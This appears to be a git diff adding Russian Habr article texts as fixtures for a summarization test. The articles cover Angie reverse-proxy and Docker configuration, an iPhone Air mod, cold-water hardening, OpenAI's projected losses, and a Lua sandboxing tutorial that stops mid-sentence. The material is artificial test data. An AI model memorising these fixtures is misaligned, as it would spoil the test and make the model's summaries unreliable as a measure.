/etc/angie/conf.d/security.conf; # Отдельный файл логов ошибок для этого сервиса error_log /var/log/angie/hostwhoami.test.error.log warn; # Основной location — проксируем все запросы location / { # Используем DNS-резолвер Docker, valid=10s — кэшировать результаты на 10 секунд resolver 127.0.0.11 valid=10s; # Сохраняем IP-адрес целевого сервера в переменную # Такой подход работает одинаково и для доменов, и для IP set $backend 192.168.88.7; # Проксируем запросы на указанный адрес и порт # Даже если сервер временно недоступен — Angie запустится и будет работать для других сервисов proxy_pass http://$backend:8080; # Передаём стандартные заголовки проксирования include /etc/angie/conf.d/proxy.conf; } # Общие правила для всех сервисов: include /etc/angie/genloc/general-location.conf; } # Автоматическое перенаправление с HTTP на HTTPS server { # Слушаем порт 80 (HTTP) для IPv4 и IPv6 listen 80; listen [::]:80; # Доменное имя сервиса server_name hostwhoami.test; # Перенаправляем все HTTP-запросы на HTTPS с тем же URL return 301 https://$host$request_uri; } Объяснить код с ✅ Преимущество: максимальная гибкость — можно проксировать любой сервис. После добавления или изменения конфигурационных файлов в http.d/ необходимо перезагрузить контейнер front-proxy, чтобы Angie применил новые настройки. Способ 2: Проксирование через Docker DNS (dockerwhoami/) Когда использовать: Когда сервис запущен в той же Docker-сети, что и Angie. Безопасность: Трафик никогда не покидает Docker-сеть front-proxy Нет необходимости открывать порты на хосте Полная сетевая изоляция dockerwhoami/dockerwhoami.yaml services: dockerwhoami: image: traefik/whoami container_name: dockerwhoami restart: unless-stopped networks: - front-proxy networks: front-proxy: name: front-proxy external: true Объяснить код с http.d/dockerwhoami.conf # HTTPS-сервер для dockerwhoami.test server { # Слушаем порт 443 (HTTPS) для IPv4 и IPv6 listen 443 ssl; listen [::]:443 ssl; # Включаем HTTP/2 для улучшения производительности http2 on; # Доменное имя сервиса server_name dockerwhoami.test; # Пути к TLS-сертификату и приватному ключу ssl_certificate /etc/angie/ssl/server.crt; ssl_certificate_key /etc/angie/ssl/server.key; # Включаем безопасные HTTP-заголовки include /etc/angie/conf.d/security.conf; # Отдельный файл логов ошибок для этого сервиса error_log /var/log/angie/dockerwhoami.test.error.log warn; # Основной location — проксируем все запросы location / { # Используем DNS-резолвер Docker, valid=10s — кэшировать результаты на 10 секунд resolver 127.0.0.11 valid=10s; # Сохраняем имя контейнера в переменную set $backend dockerwhoami; # Проксируем на контейнер с именем "dockerwhoami" в той же Docker-сети # Даже если сервер временно недоступен — Angie запустится и будет работать для других сервисов proxy_pass http://$backend:80; # Передаём стандартные заголовки проксирования include /etc/angie/conf.d/proxy.conf; } # Общие правила для всех сервисов: include /etc/angie/genloc/general-location.conf; } # Автоматическое перенаправление с HTTP на HTTPS server { # Слушаем порт 80 (HTTP) для IPv4 и IPv6 listen 80; listen [::]:80; # Доменное имя сервиса server_name dockerwhoami.test; # Перенаправляем все HTTP-запросы на HTTPS с тем же URL return 301 https://$host$request_uri; } Объяснить код с ✅ Преимущество: безопасность, простота, отказоустойчивость. После добавления или изменения конфигурационных файлов в http.d/ необходимо перезагрузить контейнер front-proxy, чтобы Angie применил новые настройки. 🧪 Практический пример: через Docker-модуль Способ 3: Автоматическое проксирование через Docker-модуль (dmodulwhoami/) Angie подключается к Docker API через Socket Proxy При запуске контейнера Angie автоматически читает его лейблы Контейнер может находиться в любой Docker-сети, доступной Angie Сервер мгновенно добавляется в upstream без перезагрузки ✅ Главное преимущество: Добавление/удаление сервисов работает без перезагрузки Angie Неважен порядок запуска — даже если контейнер появится позже, всё заработает Если сервис упадёт — он автоматически исчезнет из upstream 📚 Официальная документация dmodulwhoami/dmodulwhoami.yaml services: dmodulwhoami: image: traefik/whoami container_name: dmodulwhoami restart: unless-stopped networks: - app-net labels: # Указываем, что контейнер должен быть добавлен в upstream "docker_dmodulwhoami" - "angie.http.upstreams.docker_dmodulwhoami.port=80" # Явно указываем, из какой сети брать IP - "angie.network=app-net" networks: app-net: name: app-net Объяснить код с conf.d/00-upstreams-docker.conf # Upstream, управляемый Docker-модулем upstream docker_dmodulwhoami { zone docker_dmodulwhoami 64k; # обязательная зона разделяемой памяти } Объяснить код с http.d/dmodulwhoami.conf server { listen 443 ssl; listen [::]:443 ssl; http2 on; server_name dmodulwhoami.test; ssl_certificate /etc/angie/ssl/server.crt; ssl_certificate_key /etc/angie/ssl/server.key; include /etc/angie/conf.d/security.conf; error_log /var/log/angie/dmodulwhoami.test.error.log warn; location / { proxy_pass http://docker_dmodulwhoami; # ← upstream управляется модулем include /etc/angie/conf.d/proxy.conf; } include /etc/angie/genloc/general-location.conf; } server { listen 80; listen [::]:80; server_name dmodulwhoami.test; return 301 https://$host$request_uri; } Объяснить код с — сервис https://dmodulwhoami.test становится доступен мгновенно, без перезагрузки прокси. 🖥️ Подключение панели мониторинга Console Light Console Light — встроенная веб-панель мониторинга Angie, которая отображает ключевые показатели нагрузки и производительности в реальном времени без перезагрузки сервера. ✅ Преимущества консоли: Мониторинг всех HTTP/TCP-серверов и апстримов Отслеживание состояния контейнеров в Docker-сетях Визуализация трафика, соединений и времени отклика Управление конфигурацией без перезагрузки (в Angie PRO) Не требует внешних инструментов — работает на базе API Angie Веб-панель мониторинга Console Light 🔧 Установка и настройка Console Light 1. Создание пользователя для доступа к консоли Сначала создайте каталог для хранения паролей и сгенерируйте файл .htpasswd: mkdir -p auth htpasswd -c auth/.htpasswd admin Объяснить код с В процессе выполнения команды будет предложено ввести пароль для пользователя admin. 2. Добавление конфигурации в Docker Compose Добавьте монтирование файла аутентификации в compose.yaml: services: front-proxy: # ... остальные настройки volumes: # ... остальные тома - ./auth/.htpasswd:/etc/angie/.htpasswd:ro Объяснить код с 3. Создание конфигурации для консоли Создайте файл http.d/console.conf со следующим содержимым: # HTTPS-сервер для console.test server { # Слушаем порт 443 (HTTPS) для IPv4 и IPv6 listen 443 ssl; listen [::]:443 ssl; # Включаем HTTP/2 и HTTP/3 для улучшения производительности http2 on; http3 on; # Доменное имя панели мониторинга server_name console.test; # Пути к TLS-сертификату и приватному ключу ssl_certificate /etc/angie/ssl/server.crt; ssl_certificate_key /etc/angie/ssl/server.key; # Ограничение доступа только по IP-адресу allow 192.168.*.*; # разрешаем доступ по конкретному IP deny all; # запрещаем доступ со всех остальных адресов # Отдельный файл логов ошибок для панели error_log /var/log/angie/console.test.error.log warn; # Активируем мониторинг самого сервера консоли status_zone console.test; # Основной location для Console Light location / { # Аутентификация для интерфейса auth_basic "Angie Console Light"; auth_basic_user_file /etc/angie/.htpasswd; # Путь к файлам Console Light alias /usr/share/angie-console-light/html/; index index.html; # API для получения статистики в реальном времени location /api/ { api /status/; } } } # Автоматическое перенаправление с HTTP на HTTPS server { listen 80; listen [::]:80; server_name console.test; return 301 https://$host$request_uri; } Объяснить код с 4. Добавление метрик в существующие серверы Чтобы консоль отображала данные по вашим сервисам, добавьте директиву status_zone в каждый серверный блок: server { # ... остальные настройки server_name dockerwhoami.test; # Добавляем метрику для мониторинга status_zone dockerwhoami.test; # ... остальные настройки } Объяснить код с Полный пример с добавлением метрики # HTTPS-сервер для dockerwhoami.test +server { + # Слушаем порт 443 (HTTPS) для IPv4 и IPv6 + listen 443 ssl; + listen [::]:443 ssl; + + # Включаем HTTP/2 для улучшения производительности + http2 on; + + # Доменное имя сервиса + server_name dockerwhoami.test; + + # Добавляем метрику для мониторинга + status_zone dockerwhoami.test; + + # Пути к TLS-сертификату и приватному ключу + ssl_certificate /etc/angie/ssl/server.crt; + ssl_certificate_key /etc/angie/ssl/server.key; + + # Включаем безопасные HTTP-заголовки + include /etc/angie/conf.d/security.conf; + + # Отдельный файл логов ошибок для этого сервиса + error_log /var/log/angie/dockerwhoami.test.error.log warn; + + # Основной location — проксируем все запросы + location / { + # Используем DNS-резолвер Docker, valid=10s — кэшировать результаты на 10 секунд + resolver 127.0.0.11 valid=10s; + + # Сохраняем имя контейнера в переменную + set $backend dockerwhoami; + + # Проксируем на контейнер с именем "dockerwhoami" в той же Docker-сети + # Даже если сервер временно недоступен — Angie запустится и будет работать для других сервисов + proxy_pass http://$backend:80; + + # Передаём стандартные заголовки проксирования + include /etc/angie/conf.d/proxy.conf; + } + + # Общие правила для всех сервисов: + include /etc/angie/genloc/general-location.conf; +} + +# Автоматическое перенаправление с HTTP на HTTPS +server { + # Слушаем порт 80 (HTTP) для IPv4 и IPv6 + listen 80; + listen [::]:80; + + # Доменное имя сервиса + server_name dockerwhoami.test; + + # Перенаправляем все HTTP-запросы на HTTPS с тем же URL + return 301 https://$host$request_uri; +} + Объяснить код с Для мониторинга состояния бэкендов необходимо объявить zone в каждом upstream-блоке. Сервисы через Docker-модуль (уже прописаны) 💡 Пояснение: status_zone в server → мониторинг виртуального хоста zone в upstream → мониторинг бэкендов (состояние, время ответа, ошибки) 5. Для DNS-резолвера добавьте status_zone в общую конфигурацию в angie.conf http { + # DNS resolver с мониторингом (один для всего сервера) + resolver 127.0.0.11 valid=10s status_zone=docker_dns; + + #Подключение к Docker API через proxy + docker_endpoint http://docker-socket-proxy:2375; + # ... остальные настройки + Объяснить код с После добавления или изменения конфигурационных файлов необходимо перезагрузить контейнер front-proxy Дальше: ACME + Smallstep CA — автоматизация TLS для всех доменов (публичных через Let’s Encrypt и внутренних через локальный CA) CASdoor — централизованная аутентификация и авторизация Единая точка входа — безопасный, удобный и управляемый доступ ко всем сервисам +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987854_.txt b/tests/summarization/https___habr.com_ru_articles_987854_.txt new file mode 100644 index 0000000..9159241 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987854_.txt @@ -0,0 +1,2 @@ +Полупрозрачный iPhone Air Из коробки Air выглядит несколько странно. Самый жуткий страх перфекциониста - несовпадение радиусов закругления грани смартфона и плато камер. Смартфон хоть и не страдает топовыми характеристиками, но хотя бы в руке ощущается по-новому. А чтобы сделать его ещё более эксклюзивным, надо придумать дизайн. Полностью прозрачные крышки уже делали. Но у Air есть одна особенность. Плато камер из прозрачного стекла, в то время, как остальная задняя крышка из матового. Останется только располовинить смартфон и заглянуть внутрь. Разбор iPhone Air С первого взгляда всё просто - берёшь крышку, снимаешь верхнюю металлическую пластину, на которую цепляется линза камеры и соскабливаешь пленку. Металлическая пластина линзы камеры iPhone Air На деле под металлической пластиной есть и пластиковая накладка. Она нужна, чтобы для крепления верхних скоб, которые и защелкиваются в корпус. Тут есть 2 варианта: - Полностью снять пластиковую накладку, тем самым легко удалим пленку, но тогда мы лишимся верхнего крепления; - Аккуратно вырезать пластик, чтобы снять пленку по контуру плато и сохранить крепёж; Пластиковая обрамление с крепежом Второй способ более элегантный, но трудоёмкий. Ушло около 4 резаков. Тупятся они быстро, а срез должен быть аккуратным. Ибо через прозрачное стекло так или иначе будут видны. Вырезание плато камеры iPhone Air Останутся только нюансы: вклеить линзу камеры, вспышку и сетку микрофона. По сравнению с заводским способом, когда линза камеры приварена к металлической пластине - выглядит надежнее. Но за несколько месяцев использования с полиуретановым клеем, который использовался для линзы и вспышки, ничего не случилось, ничего не отвалилось. Пыль внутрь не попала. Кажется, что делается всё быстро. На деле аккуратно вырезать эту пластиковую подложку стоило несколько часов. И это без учета демонтажа металлической подложки и сборки устройства. Почему крышка стала черной тоже есть ответ. Черный дисплей на светлых айфонах сильно выбивается из общего вида. А так как у нас видны металлические внутренности, то они отлично сочетаются со светлой металлической рамкой. Кастомный iPhone Air Практично ли это? Навряд ли. Делают ли урезаный Air лучше? Нет. Зато он стал легче и с необычным внешним видом. Видео с полным процессом кастомизации - https://www.youtube.com/watch?v=I-cz7i4ErMc Да! Когда коту делать нечего, он ... +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987862_.txt b/tests/summarization/https___habr.com_ru_articles_987862_.txt new file mode 100644 index 0000000..a8cedcb --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987862_.txt @@ -0,0 +1,2 @@ +Я давно работаю в интернет-маркетинге и столкнулся с такой проблемой, что мне не хватает сил и энергии, а от кофе уже тошнит. И я начал закаливаться после: не на спор и не ради героизма, а чтобы наконец почувствовать себя бодрее утром и перестать болеть каждый сезон. Ниже простая база, мой личный опыт, и исследования, которые подтверждают, что закаливание работает. Почему вообще есть смысл в закаливании Закаливание - это постепенное, дозированное воздействие холода, чтобы тренировать систему терморегуляции, улучшать восстановление и повышать стрессоустойчивость. Если коротко по эффектам: улучшается работа сосудов; уменьшается воспалительный фон; повышается толерантность к стрессу; возрастает бодрость и тонус; возможно снижение частоты простудных заболеваний. Что говорит наука? Я не привожу выдуманных данных и магических процентов, только то, что подтверждено общим массивом исследовательских работ. 1) Холод улучшает работу сосудов Есть исследования, в которых показывается, что короткие холодовые воздействия вызывают вазоконстрикцию, а потом вазодилатацию. То есть сосуды становятся более тренированными, лучше реагируют на перепады температуры и нагрузки. Это связывают с: улучшением кровообращения; лучшим восстановлением после спорта; снижением ощущения усталости. 2) Закаливание может снижать воспаление Есть данные, что после регулярных холодовых процедур уменьшается уровень некоторых воспалительных маркеров. Это объясняет, почему многие отмечают легкость и снижение отечности после адаптации к холодной воде. 3) Поддержка иммунитета В исследованиях на взрослых, практикующих закаливание, фиксировали умеренное повышение активности лейкоцитов и тех клеток иммунитета, которые патрулируют организм. Это не делает вас неуязвимым, но может повысить устойчивость в сезон вирусов. 4) Улучшение настроения и бодрости Холод - сильный стимул. Он увеличивает выработку: норадреналина (больше энергии); дофамина (лучше настроение и концентрация). Поэтому многие говорят, что холодный душ = лучше, чем кофе. На самом деле - это просто мощная нейрохимическая реакция организма на стресс. Мой личный опыт: как я начал и что чувствую Начинал я с банального: 30 секунд холодного душа в конце обычного. Через месяц: легче переносится холод на улице; меньше ломит после тяжелых дней; стал проще вставать утром, особенно зимой. И главное - для эффекта не нужно превращаться в моржа. Регулярность важнее экстремальности. Как начать закаливание безопасно 1) Холодный душ - лучшее начало 10-20 секунд холодного душа только на ноги и руки в конце обычного. Через неделю: 30-40 секунд и можно подключать плечи, спину, грудь. Еще через неделю1-2 минуты, равномерно обдавая все тело. Температура: не ледяная. Холодная, но терпимая. Вы должны контролировать дыхание. 2) Контрастный душ Если чистый холод пугает, то используйте схему: горячая 1 минута, холодная вода 20-30 сек, и так 2-3 круга. Контрасты дают хороший эффект по сосудам, но легче воспринимаются. 3) Прогулки на свежем холодном воздухе Отличный мягкий вариант закаливания. Важно: не до дрожи, не на мороз в футболке, а легкое охлаждение кожи. Правила безопасности, о которых почти никто не пишет Не нужно рубить ледяной водой на максимум. Это стресс, а не польза; Если после холодового воздействия вы долго не можете согреться, значит перебрали; Никакого холода при ОРВИ, температуре, воспалениях; Проблемы с сердцем - сначала консультация с врачом; Не делайте холод сразу после плотного ужина или алкоголя. Как понять, что закаливание работает Через 2-4 недели вы замечаете: стабильная энергия утром; меньше раздражительности; тело легче просыпается; меньше сбитых состояний после тяжелой недели; лучше переносится перепад температуры. А самое интересное: многие отмечают, что закаливание снижает тягу к кофе - просто потому, что резкий холод сам по себе запускает бодрящее состояние. Итог Закаливание - это не про героизм, не про проруби и не про моржей. Это про короткие, контролируемые дозы холода, которые дают телу полезный стресс. Мой опыт это подтверждает: всего 1-2 минуты холодного душа утром, и энергия, концентрация и переносимость нагрузок совершенно другие. +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987876_.txt b/tests/summarization/https___habr.com_ru_articles_987876_.txt new file mode 100644 index 0000000..d5100b8 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987876_.txt @@ -0,0 +1,2 @@ +The Information на основе внутренних документов OpenAI, компания ожидает убыток $14 млрд в 2026 году, что втрое больше, чем в 2025. Кумулятивные потери за 2023–2028 составят $44 млрд, после чего в 2029 планируется выход на прибыль $14 млрд при выручке $100 млрд. Deutsche Bank посчитал жёстче: отрицательный свободный денежный поток $143 млрд между 2024 и 2029 годами. Аналитики пишут: «Ни один стартап в истории не работал с убытками в таких масштабах. Мы находимся на абсолютно неизведанной территории». Что там с Sora. По оценкам Forbes, генерация одного 10-секундного видео обходится в $1.30. При текущих объёмах это $15 млн в день, или $5.4 млрд в год. Глава Sora Билл Пиблз публично признал, что «экономика сейчас абсолютно неустойчива». Добрый вечер Доля ChatGPT упала с 87% до 68% за год. Google Gemini вырос с 5.4% до 18.2%. В enterprise ещё хуже: OpenAI потерял половину рынка (с 50% в 2023 до 27% сейчас), а Claude от Anthropic теперь лидер с 32%. Как сказал бывший управляющий Fidelity Джордж Нобл на прошлой неделе: «OpenAI разваливается на глазах в реальном времени. Я наблюдал крах компаний десятилетиями. Здесь все тревожные признаки». +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987882_.txt b/tests/summarization/https___habr.com_ru_articles_987882_.txt new file mode 100644 index 0000000..4f7ef54 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987882_.txt @@ -0,0 +1,2 @@ +Скриптовые языки уже давно и прочно заняли свою нишу в игрострое — они существенно упрощают описание игровой логики, уровней, ресурсов, диалогов, квестов, UI и чего только не. Что позволяет отдать эти задачи целиком и полностью в творческие руки гейм-/левел-/прочих-дизайнеров и других членов команды, которым не нужно обладать знаниями в том же C++. Разделение ответственности, ускорение разработки, облегчение моддинга возможность, по завершению разработки самого движка, вышвырнуть программистов на мороз и стричь купоны на бесконечных дополнениях — в общем, одни только плюсы. Да? Да. А ещё дыры в безопасности и уйма путей уронить стабильность. В замечательном цикле статей "Game++" от @dalerank, а если быть конкретней, то в Game++. while (!game(over)) озвучена следующая мысль про скрипты в игровых движках, как раз на эту тему: ... на удивление, [скрипты — ] это про безопасность Скрипты обычно запускаются в изолированной среде. Это значит, что если моддер написал что-то странное — он сломает только свою миссию, а не всю игру. Можно ограничить доступ скриптам: дать им возможность работать только с теми объектами, которые тебе нужны. Настроить лимиты, интерпретировать исключения, и в крайнем случае — просто не запускать подозрительное. В плюсах такой гибкости не получишь. Там любой кривой плагин — это потенциальный краш. То есть лечится. Но, блин, КАК? К сожалению, ответ на этот вопрос выходил далеко за рамки статьи, поэтому придётся разбираться самостоятельно. Постановка задачи Для начала накинем немного контекста: Во-первых, в качестве C++ хоста у нас выступает игровой движок, где скриптовый язык нужен для конфигов, логики, модов и вот этого вот всего. Во-вторых, нужна возможность запуска сторонних, написанных не нами (читай: непроверенных и потенциально небезопасных) скриптов. В-третьих, исходя из выше обозначенного, очень желательно свести к минимуму возможности нашкодить со стороны особенно любознательных пользователей, очень творческих мододелов и просто мамкиных кулхацкеров. В-четвёртых, берём как данность, что автор этих строк от природы откровенно ленив, и поэтому по максимуму стараемся использовать уже готовые решения. Опустим рассуждения о достоинствах и недостатках Lua в качестве скриптового языка, а также обзор возможных вариантов его подключения к нашему приложению — для этого есть уйма статей, написанных такими корифеями, что я даже смысла не вижу залезать на эту поляну. Просто, возьмём как данность, что выбор в итоге остановили на: Lua 5.1/LuaJIT: Ибо `LuaJIT покрывает все остальные версии по производительности, даже с отключённым JIT (а у нас же геймдев). Но, к сожалению, она в принципе остановилась на этапе Lua 5.1 (с некоторыми оговорками), поэтому ориентироваться будем на синтаксис и набор библиотек, актуальный на тот момент. Тем не менее жёстко к LuaJIT-специфичным нюансам не привязываемся и стараемся все решения делать максимально универсальными, ну или требующими минимальных доработок. Для подключения используем sol2 — невероятно вкусная библиотека, которая просто до неприличия упрощает взаимодействие с Lua. Опять же, без ущерба скорости (ну геймдев же, ну); Ну и C++20. Просто потому, что есть такая возможность. Впрочем, всё, описанное ниже, вполне реализуемо и на более взрослых версиях стандарта. По пути наименьшего сопротивления Для выполнения Lua-кода из нашего приложения необходимо создать для него окружение — фактически виртуальную машину, содержащую всё необходимое для запуска скриптов: стек, глобальные переменные, таблицы и функции, а также аллокатор и сборщик мусора. В терминологии Lua это называется state (состояние). Создание всего этого — задача, конечно, довольно нетривиальная. И, в нашем случае, решается через... // Добавление аж двух строк ) #include sol::state lua; Объяснить код с Собственно, уже на этом этапе в нашем распоряжении синтаксис и базовая семантика, циклы и операторы ветвления, логика и арифметика, таблицы и возможность определять свои функции. Чего с головой хватит для описания большей части данных, которые нам могут понадобиться: юниты, инвентарь, диалоги, карты, описание уровней, UI, графика, звуки и чего только не. -- Lua -- config_screen.lua local screen = { width = 1280, height = 720, presets = { ["HD"] = {1280, 720}, ["FHD"] = {1920, 1080}, ["4K"] = {3840, 2160}, default = "HD" } } function getScreenPreset(preset) local presets = screen.presets return presets[preset] or presets[presets.default] end return screen Объяснить код с // Cpp auto screenCfg = lua.script_file("config_screen.lua"); // доступ к элементам Lua-таблицы по ключу int width = screenCfg["width"]; int height = screenCfg["height"]; std::cout << std::format("Configured screen resolution: {}x{}\n", width, height); // --> Configured screen resolution: 1280x720 // можем вызывать функции объявленные в Lua auto preset = lua["getScreenPreset"]("FHD"); // Доступ по индексу width = preset[1]; // И да, индексация в Lua начинается c 1 height = preset[2]; std::cout << std::format("FHD resolution: {}x{}\n", width, height); // --> FHD resolution: 1920x1080 Объяснить код с А реализовав недостающий функционал на стороне C++, и пробросив его в Lua, можно уже замахиваться на игровую логику. // Cpp namespace math { int add(int a, int b) { return a + b; }; } auto api = lua.create_table(); api["add"] = math::add; api["sub"] = [](int a, int b) { return a - b; }; lua["engineAPI"] = api; lua.script_file("script.lua"); int a = lua["a"]; std::cout << std::format("a:{}, b:{}\n", a, lua["b"].as()); // --> a:30, b:-10 Объяснить код с -- Lua -- script.lua a = engineAPI.add(10, 20) b = engineAPI.sub(10, 20) Объяснить код с И на этом можно было бы уже заканчивать. Но. У нас уже немало доступного функционала, а вот возможностей чувствительно нашкодить в скриптах ещё не очень (Кстати, какие варианты приходят в голову? В комментах писать не надо — а то подглянут ещё). Я бы всё-таки расширил пространство для манёвра любителям, скажем так, нестандартных решений — ну так, чисто ради подогрева интереса. Это, во-первых... А если серьёзно, у нас напрочь отсутствует возможность вызывать сторонние скрипты из самих скриптов, а это сразу — здравствуй потеря модульности и архитектурной гибкости (и это для игрового-то движка), грабли с условной динамической загрузкой, повышенная нагрузка на API движка (ну ладно, ладно — читать как "на разработчиков этого самого API"). Во-вторых, у нас, в самом начале, в исходных данных была обозначена природная лень. Следовательно, рожать велосипед самостоятельно повторяя функционал стандартных библиотек — ну серьёзно? Ну а в-третьих, это было бы слишком просто, и даже начинать данную заметку не имело бы смысла. Но если посмотреть на ползунок прокрутки справа, то текста там ещё порядком. Поэтому придётся продолжать. Тишина должна быть в библиотеке (c) Здесь придётся чуть подробнее остановиться на том, что, собственно, представляет из себя загрузка библиотек в Lua. Но начнем мы, как ни странно, с таблиц. *Можно смело пропустить, если в курсе внутренней кухни Lua. В Lua таблицы — это единый и универсальный механизм данных и структурирования, на котором фактически строится вообще весь язык. Они могут хранить значения любого типа: числа, строки, другие таблицы и функции. И не просто могут — вообще все переменные, функции, библиотеки и модули являются именно элементами таблиц. Тип у Lua таблиц является ссылочным, т.е. когда мы присваиваем переменной или передаём в функцию какую-нибудь таблицу, копирования не происходит — присваивается и передаётся только ссылка. Если такая переменная выходит из области видимости или ей присваивается nil — ссылка обнуляется. А когда ссылок на нашу таблицу вообще не остаётся, она с чистой совестью выпиливается сборщиком мусора. Очевидно, что у нас должна быть какая-то главная таблица, не удаляемая сборщиком и в которой мы сможем создавать ссылки на новые. И вот тут создатели языка подошли с фантазией. Они сделали её неявной, т.е. она есть, и вы можете даже обратиться к ней по имени, но это совсем не обязательно. Вы можете спокойно писать на Lua, даже не подозревая о её существовании. Конечно, есть несколько сценариев, когда явное обращение таки потребуется, но это уже для тех, кто действительно знает, что делает. Ещё раз: основная точка входа в Lua — скрыта от пользователя, даёт работать с языком, даже не зная о месте её нахождения, а явное обращение к ней в умелых руках позволяет делать нетривиальные вещи. Есть идеи для названия? Её величество _G. Это переменная, содержащая ссылку на предопределённую таблицу глобального окружения. И абсолютно все глобальные переменные и функции являются полями этой таблицы. -- Lua x = 42 print(x) --> 42 print(_G.x) --> 42 _G.print(_G.x) --> 42 Объяснить код с И именно в _G загружаются библиотеки, которые представляют из себя не что иное, как просто таблицы с функциями (упростил, да). Создаётся глобальная переменная, и в неё кладётся ссылка на соответствующую таблицу. Всё. // Cpp sol::state lua; // Собственно, загрузка библиотек lua.open_libraries(sol::lib::base, sol::lib::math); lua.script(R"( print("#1 " .. math.max(10, 42, -1)) print("#2 " .. _G.math.max(10, 42, -1)) )"); // --> #1 42 // --> #2 42 Объяснить код с За редким исключением, правда — например, функции из base кладутся прямо в G — "корень" глобальной области видимости (тот же print, а не base.print из примера выше), или функция require, которую package тоже закидывает прямо в G, в отличие от всех остальных своих функций. Дальше, в Lua нет механизма частичной загрузки библиотек. Первое, что приходит на ум: // Cpp lua.open_libraries(sol::lib::os); // просто обнулить опасные функции os["execute"] = sol::nil os["remove"] = sol::nil ... Объяснить код с Но есть более гибкий вариант — механизм подмены таблицы глобального окружения, который позволяет запускать код в окружении, изолированном от основного Lua-стейта, т.е. в песочнице. В sol2 это реализуется через sol::environment. // Cpp lua::state lua; lua::environment sandox(lua, sol::create); sandbox["_G"] = sandbox; lua.script_file("script.lua", sandbox); Объяснить код с И вот в неё-то мы уже можем спокойно пробросить только те части библиотек, которые посчитаем нужными. // Cpp lua::state lua; lua::environment sandox(lua, sol::create); sandbox["_G"] = sandbox; const auto checkWhere = R"( if print then print (whereAmI) else houston() end )"; auto houston = []() { std::cout << "Houston, we have a problem.\n"; }; lua["whereAmI"] = "In a Lua state"; lua["houston"] = houston; sandbox["whereAmI"] = "In a sandbox"; sandbox["houston"] = houston; lua.script(checkWhere); // --> Houston, we have a problem. // Теперь загружаем библиотеку lua.open_libraries(sol::lib::base); lua.script(checkWhere); // --> In a Lua state // *Явно указываем окружение, в котором нужно выполнить lua.script(checkWhere, sandbox); // --> Houston, we have a problem. sandbox["print"] = lua["print"]; lua.script(checkWhere, sandbox); // --> In a sandbox Объяснить код с Кстати, тут есть один нюанс. Дело в том, что вот эта запись в Lua: sandbox["libname"] = lua["libname"]; Объяснить код с это — не копирование, а ссылка на объект. Поэтому, даже если мы хотим разрешить в песочнице библиотеку целиком, то всё равно придётся переносить её содержимое поэлементно, а не через проброс всей библиотечной таблицы. Во-первых, библиотека может содержать какие-либо неявные, потенциально небезопасные поля, а Lua позволяет обойти их все простым перебором, даже не зная имён. Да, _G это, кстати, тоже касается. Во-вторых, это как раз одна из тех самых возможностей нашкодить: доступ к корневой таблице библиотеки позволяет подменять её функции. В случае же поэлементного проброса подмена, конечно, тоже возможна, но это затронет только песочницу — испортится только ссылка на элемент, оставив саму библиотеку невредимой. Использование sol::environment открывает нам ещё несколько возможностей: например, на одном Lua-стейте делать сразу несколько независимых песочниц — хоть по отдельной на каждый запускаемый скрипт. Что существенно облегчает задачу по реализации обмена данными между песочницами. Или при сбросе песочницы (например, перезапуск миссии) не нужно подгружать все библиотеки заново — мы просто заменяем таблицу-окружение на новую и копируем в неё разрешённые элементы. Ну и наконец, в случае необходимости, для доверенных скриптов в нашем распоряжении оказывается ещё и полнофункциональная версия Lua (сам Lua-стейт). Последнее использовать с оговорками и осторожностью, но тем не менее, возможность такая есть. Теперь, собственно, библиотеки. Кратко пробежимся по тому, что же они нам предлагают — а то, может, действительно не стоит заморачиваться? Библиотека Назначение Функционал / Описание base Базовые возможности языка Основные конструкции Lua: работа с типами, проверка и преобразование значений, обработка ошибок, итерация по таблицам, выполнение кода из строк или файлов и базовые средства метапрограммирования. package Система модулей Организация и загрузка Lua- и C-модулей, подключение библиотек. string Работа со строками Изменение, поиск и шаблонное сопоставление строк, конкатенация, форматирование, преобразование регистра. table Манипуляции с таблицами Работа с таблицами: сортировка, объединение, вставка, удаление, копирование, преобразование таблиц в строки и обратно. math Математика и случайность Арифметические, тригонометрические и логарифмические функции, округление, генерация случайных чисел, операции с целыми. io Ввод-вывод Работа с файлами и стандартными потоками: открытие, чтение, запись, построчная обработка, управление буферами. os Доступ к функциям ОС Работа со временем, датой, окружением, файлами и системными командами. Позволяет взаимодействовать с внешней средой. coroutine Кооперативная многозадачность Создание и управление корутинами: приостановка и возобновление выполнения, реализация последовательных сценариев. debug Отладка Доступ к стеку вызовов, локальным переменным и функциям. Используется для профайлинга и инструментов разработки. Из полезных есть ещё utf8 и bit32. Первая, как ни странно, для работы с кодировкой UTF8, и появилась она начиная с версии 5.3. Вторая — реализация битовых операций, но она была только в ветке 5.2, в 5.3 битовые операции уже напрямую в язык завели и надобность в данной библиотеке отпала. И да, битовых операций в 5.1 не было. Совсем. Даже беглого просмотра достаточно, чтобы понять — брать надо. Но с осторожностью: в таблице в описании жирным выделен небезопасный функционал. Вырисовывается вполне себе чёткая картина — для части библиотек содержимое придётся загружать выборочно, а для некоторых — даже их название вслух произносить небезопасно. Поэтому последние просто игнорируем, но если уж совсем приспичит — их функционал придётся реализовывать самостоятельно на стороне движка (тот же доступ к файловой системе, можно ограничить только на чтение, и только в пределах разрешённых путей). Если же копнуть глубже, то в итоге у нас вырисовывается следующая картина: Base — мастхэв, но: Функционал загрузки и запуска кода на выполнение (все эти load, loadstring, loadfile, dofile) придётся взять на себя и реализовать безопасные замены самостоятельно. Этим займёмся позже. Кроме того, запрещаем всё, что даёт доступ к метатаблицам (setmetatable, getmetatable) и позволяет их обходить (rawequal, rawget, rawset). Да, метатаблицы сами по себе могут использоваться как мощный инструмент реализации ограничений для небезопасных функций, но, к сожалению, в Lua нет механизма их защиты. Не даём пользователю вручную вызвать сборщик мусора через collectgarbage. Блокируем возможность читать и менять окружение (getfenv, setfenv). И напоследок, print — заменим на свой вариант, чтобы можно было перенаправить вывод в поток, отличный от stdout. package — небезопасна полностью. Единственное, стоит отдельно упомянуть require, которая является сильно продвинутой версией dofile из base, с поиском запрошенного файла в разрешённых путях и контролем повторной загрузки. Есть смысл тоже заменить на нашу безопасную реализацию dofile, добавив к ней возможность запроса на загрузку стандартных библиотек из самих скриптов. string — однозначно забираем, за исключением потенциально 